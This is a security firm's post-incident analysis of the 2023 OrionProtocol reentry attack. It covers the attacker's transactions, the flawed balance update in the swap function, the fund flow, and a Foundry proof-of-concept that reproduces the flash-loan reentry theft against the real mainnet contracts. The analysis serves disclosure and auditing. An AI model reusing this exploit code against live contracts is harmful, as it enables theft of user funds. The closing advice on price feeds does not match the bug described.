According to NUMEN’s on-chain monitoring, on Feb-02-2023 at 03:40:20 PM UTC, the OrionProtocol on Ethereum and Binance chains suffered from a re-entry attack due to a contract vulnerability, resulting in a loss of 2,844,766 USDT (on Ethereum) and 191,606 BUSD (on BNB Chain), with a total estimated value of approximately 3 million USD.
Ethereum chain process analysis:
Attacker address:
https://etherscan.io/address/0x837962b686fd5a407fb4e5f92e8be86a230484bd
Attacker contract:
https://etherscan.io/address/0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a
Attacked transaction:
https://etherscan.io/tx/0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa
Attack analysis:
The attacker first created a Token contract (0x64acd987a8603eeaf1ee8e87addd512908599aec) and transferred and authorized the Token, preparing for the subsequent attack.
The attacker used the UNI-V2.swap method to borrow and called the ExchangeWithAtomic.swapThroughOrionPool method to exchange tokens, with the exchange path being path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT]. The path 0x64ac…0aec is the Token contract created by the attacker, and the attacker will use it for the callback.
When calling the ExchangeWithAtomic.swapThroughOrionPool method to exchange, due to the callback of the Token contract created by the attacker, the attacker continued the callback through Token.Transfer to the ExchangeWithAtomic.depositAsset to accumulate the deposit amount and then withdraw the profits.
Fund flow:
The hacker’s initial funds came from the Binance hot wallet account. Of the 1651 ETH profits, 657.5 ETH still remain in the wallet address and the rest have been transferred through Tornado.Cash.
Vulnerability core:
The key issue is in the doSwapThroughOrionPool function.
Contract address: https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code
After the transfer happens, the curBalance is updated. Therefore, a callback function is added to the transfer in the fake token. The callback code calls the depositAsset function, causing the curBalance to be updated incorrectly. Then, the attacker calls the withdraw function to take away the funds after paying back the flash loan.
Attack replication:
Part of the POC code:
contract CounterTest is Test {
function setUp() public {
}
UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F);
ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);
OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);
address[] public tokens;
function testa() public{
ERC20 fakeA=new ERC20("fakea","fa");
address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc));
address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt));
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(this),500000);
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(this),1000000);
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(pair1),500000);
vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);
usdt.transfer(address(pair2),500000);
vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);
usdt.transfer(address(this),1);
fakeA.transfer(address(pair1),500000000000000000);
fakeA.transfer(address(pair2),500000000000000000);
pair(pair1).mint(address(this));
pair(pair2).mint(address(this));
usdt.approve(address(exchangewithatomic),type(uint256).max);
usdc.approve(address(exchangewithatomic),type(uint256).max);
usdc.approve(address(orionpoolv2pair),type(uint256).max);
tokens.push(address(usdc));
tokens.push(address(fakeA));
tokens.push(address(usdt));
exchangewithatomic.depositAsset(address(usdc),500000);
uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5");
console2.log(usdt.balanceOf(address(this)));
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true);
//uint r1=
exchangewithatomic.getBalance(address(usdt),address(this));
uint256 r2=usdt.balanceOf(address(exchangewithatomic));
exchangewithatomic.withdraw(address(usdt),5689532852749);
usdt.transfer(address(uni),2853326405542);
}
function deposit() public{
uint r3=usdt.balanceOf(address(this));
exchangewithatomic.depositAsset(address(usdt),uint112(r3));
}
}
Test results:
Full POC link:
https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack
Summary
NUMEN Labs reminds project owners that it is important to have strict control over token prices. When multiple feeds are combined in a single calculation, it is important to consider the fairness of the price calculation and the risk of a single feed having too much control.
If you wish to audit and ensure that your projects are free from exploits such as these, please reach out to us here.
Numen Cyber Labs is committed to facilitating the safe development of Web 3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned or visit our blog here for more!